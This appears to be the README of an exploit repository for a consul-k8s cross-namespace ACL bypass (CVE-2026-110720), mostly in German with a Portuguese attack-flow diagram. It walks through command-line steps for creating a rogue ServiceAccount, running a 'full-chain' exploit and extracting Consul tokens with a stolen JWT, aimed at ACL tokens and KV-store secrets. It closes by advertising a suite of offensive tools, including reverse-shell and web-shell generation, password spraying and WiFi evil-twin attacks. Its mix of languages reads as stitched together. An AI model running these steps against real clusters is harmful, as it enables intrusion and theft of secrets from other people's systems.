CVE-2026-110720 – HashiCorp consul-k8s Cross-Namespace-ACL-Bypass-PoC & Exploit
ClusterRoleBindings ohne Namespace-Beschränkung ermöglichen es jedem ServiceAccount, die Consul-ACLs in Kubernetes-Clustern zu umgehen.
CVE-2026-110720 v3.0.0 | consul-k8s Cross-Namespace ACL Bypass
By Gh0st-Bx1 | github.com/Ghost-Bx1
consul-k8s (Versionen 0.42.0 bis 2.0.4) erzeugt ClusterRoleBindings und ServiceAccounts für interne Consul-Komponenten, ohne das Binding auf einen Namespace zu beschränken. Wenn global.acls.manageSystemACLs=true aktiviert ist, kann sich ein in einem beliebigen Namespace erstellter ServiceAccount beim Consul-Server authentifizieren, als wäre er eine Systemkomponente, und dabei den ACL-Namespace vollständig umgehen.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-110720 |
| CVSS | 9.9 (KRITISCH) |
| CWE | CWE-863 (Incorrect Authorization) |
| Advisory | HCSEC-2026-50 |
| Hersteller | HashiCorp |
| Produkt | consul-k8s |
| Erfordert | K8s: SA erstellen + Token in einem anderen Namespace abrufen + Netzwerkzugriff auf die Consul-API |
| Datum | Oktober 2026 |
| Version | Status |
|---|---|
| consul-k8s 0.42.0 - 2.0.4 | Anfällig |
| consul-k8s >= 2.1.0 | Behoben |
| consul-k8s >= 1.8.18 (Backport) | Behoben |
Cluster K8s com consul-k8s + manageSystemACLs=true
|
v
consul-k8s cria ClusterRoleBinding sem restricao de namespace:
subjects:
- kind: ServiceAccount
name: consul-server-acl-init
namespace: consul <-- sem validacao de outros namespaces
|
v
Atacante cria namespace "evil-ns" e SA "consul-server-acl-init"
|
v
Atacante cria ClusterRoleBinding apontando seu SA
para o ClusterRole do Consul
|
v
Token do SA do atacante autentica como componente de sistema
no servidor Consul ACL
|
v
Acesso a: ACL tokens, service mesh policies, KV store secrets
| ServiceAccount | Berechtigung |
|---|---|
| consul-server-acl-init | Bootstrap ACL |
| consul-client-acl-init | Client registration |
| consul-connect-inject-acl-init | Service mesh tokens |
| consul-sync-catalog-acl-init | Catalog sync |
python poc.py --check-install --namespace consul
python poc.py --list-bindings --namespace consul
python poc.py --check-acl --namespace consul
python poc.py --gen-sa --attacker-ns evil-ns --output /tmp/bypass.yaml
kubectl apply -f /tmp/bypass.yaml
python exploit.py --check --namespace consul
python exploit.py --exploit --namespace consul --attacker-ns ghost-exploit-ns
python exploit.py --full-chain --namespace consul
# Apos obter o token K8s do SA comprometido:
python exploit.py --consul-extract <k8s-jwt-token> --namespace consul
python exploit.py --cleanup --attacker-ns ghost-exploit-ns
# Verificar bindings vulneraveis
kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("consul")) | .subjects'
Dieses Repository dient Bildungs- und Sicherheitsforschungszwecken. Verwenden Sie es nur in autorisierten Umgebungen mit ausdrücklicher Genehmigung. Der Autor übernimmt keine Haftung für Missbrauch.
| Tool | Beschreibung |
|---|---|
| ghost-ad | Active Directory - LDAP, Kerberoasting, AS-REP Roasting, BloodHound-lite |
| ghost-cloud | Cloud-Sicherheit - Scanner für Fehlkonfigurationen in AWS, Azure und GCP |
| ghost-fuzz | Web-Fuzzing - Verzeichnis-Brute-Force, Parameter-Fuzzing, Vhost-Enumeration |
| ghost-osint | OSINT - Domain-, E-Mail- und IP-Aufklärung aus öffentlichen Quellen |
| ghost-privesc | Privilegieneskalation - Linux-Privesc-Checker, 17 Vektoren, GTFOBins |
| ghost-recon | Aufklärung - DNS, SSL, WAF, Subdomain-Enumeration, E-Mail-Sicherheit |
| ghost-report | Reporting - Pentest-Berichtsgenerator aus beliebiger ghost-*-JSON-Ausgabe |
| ghost-scan | Portscanner - asynchroner TCP/UDP-Scanner mit Banner-Grabbing und CVE-Korrelation |
| ghost-shell | Payload-Generierung - Reverse-Shell- und Web-Shell-Generator, 25+ Sprachen |
| ghost-spray | Credential-Angriffe - Password Spraying, Stuffing, Testen von Standard-Anmeldedaten |
| ghost-wifi | WiFi-Angriffe - Monitor-Modus, Deauth, WPA/WPA2-Capture, PMKID, WPS, Evil Twin |
Von Gh0st-Bx1